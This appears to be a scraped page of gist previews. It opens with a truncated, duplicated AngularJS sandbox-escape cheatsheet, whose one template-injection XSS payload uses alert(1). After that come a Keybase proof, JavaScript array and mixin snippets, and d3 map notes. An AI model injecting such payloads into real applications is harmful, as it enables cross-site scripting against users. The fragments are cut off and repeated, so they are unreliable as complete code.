#Angular Sandbox Escapes Cheatsheet
Source: XSS without HTML: Client-Side Template Injection with AngularJS
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1
#Angular Sandbox Escapes Cheatsheet
Source: XSS without HTML: Client-Side Template Injection with AngularJS
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1
### Keybase proof | |
I hereby claim: | |
* I am jeremybuis on github. | |
* I am jeremybuis (https://keybase.io/jeremybuis) on keybase. | |
* I have a public key whose fingerprint is 21C8 761C 3FCE 1C4F CBC9 70A9 D15D B207 8DFE 16B1 | |
To claim this, I am signing this object: |
// http://stackoverflow.com/questions/1295584/most-efficient-way-to-create-a-zero-filled-javascript-array?lq=1 | |
Array.apply(null, new Array(5)).map(Number.prototype.valueOf, 0); |
// Taken from | |
// http://raganwald.com/2014/04/10/mixins-forwarding-delegation.html | |
(function(window) { | |
var __slice = [].slice; | |
function extend () { | |
var consumer = arguments[0], | |
providers = __slice.call(arguments, 1), | |
key, |
Using d3.geo.tile to display raster image tiles underneath some TopoJSON vectors, and d3.behavior.zoom for pan & zoom. This version reprojects the geometry on interaction; compare to updating the transform.
This done with svg http://bl.ocks.org/mbostock/6242308 using this technique http://bl.ocks.org/mbostock/2374239
The series hover interactivity uses the technique from lgrammel seen here: http://bl.ocks.org/1963983
It isn't necessarily a tooltip, but data is displayed by inverting the x-axis value into a date, and mapping the date to the corresponding data value for the series.
Building on this - experimenting with fake 3d svg arcs using two nested orthographic projections and cardinal line interpolation.
<!doctype html> | |
<head> | |
<style> | |
body { | |
font: 10px sans-serif; | |
} | |
#main { | |
left: 25%; | |
position: absolute; | |
} |